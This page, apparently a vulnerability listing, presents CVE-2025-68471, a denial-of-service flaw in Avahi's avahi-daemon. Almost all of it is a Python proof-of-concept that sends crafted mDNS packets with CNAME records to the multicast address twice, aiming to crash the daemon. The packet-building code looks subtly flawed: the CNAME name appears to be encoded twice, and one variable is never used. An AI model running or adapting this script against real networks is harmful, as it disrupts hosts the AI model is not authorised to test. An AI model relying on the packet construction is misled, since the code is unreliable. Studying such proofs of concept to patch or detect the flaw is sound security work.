CVE-2025-68471: Avahi avahi-daemon CNAME记录拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-68471 PoC - Avahi avahi-daemon DoS via CNAME records This PoC sends two unsolicited mDNS announcements with CNAME records 2 seconds apart to trigger daemon crash. """ import socket import struct import time import random def create_cname_record(name): """Create a CNAME mDNS resource record""" # CNAME record type = 0x0005 record = struct.pack('>HHIH', 0x0005, 0x0001, 300, len(name) + 2) record += bytes([len(name)]) + name.encode() + bytes([0]) return record def build_mdns_response(): """Build malicious mDNS response with CNAME record""" transaction_id = random.randint(0, 65535) # mDNS header header = struct.pack('>HHHHHH', transaction_id, # Transaction ID 0x8400, # Flags: Response, Authoritative 1, # Questions 1, # Answers 0, # Authority 0 # Additional ) # Query section (placeholder) query = b'\x05local\x00\x00\x0C\x00\x01' # Answer section with CNAME record answer_name = b'\x07example\x05local\x00' cname_target = b'\x06target\x05local\x00' cname_record = create_cname_record('\x06target\x05local') answer = answer_name + cname_record return header + query + answer def send_mdns_announcement(): """Send malicious mDNS announcement""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) mdns_packet = build_mdns_response() # Send to mDNS multicast address mdns_addr = ('224.0.0.251', 5353) sock.sendto(mdns_packet, mdns_addr) sock.close() print('[+] Sent malicious mDNS announcement with CNAME record') def main(): print('[*] CVE-2025-68471 PoC - Avahi DoS') print('[*] Sending first announcement...') send_mdns_announcement() print('[*] Waiting 2 seconds...') time.sleep(2) print('[*] Sending second announcement...') send_mdns_announcement() print('[+] Attack complete. Check avahi-daemon status.') if __name__ == '__main__': main()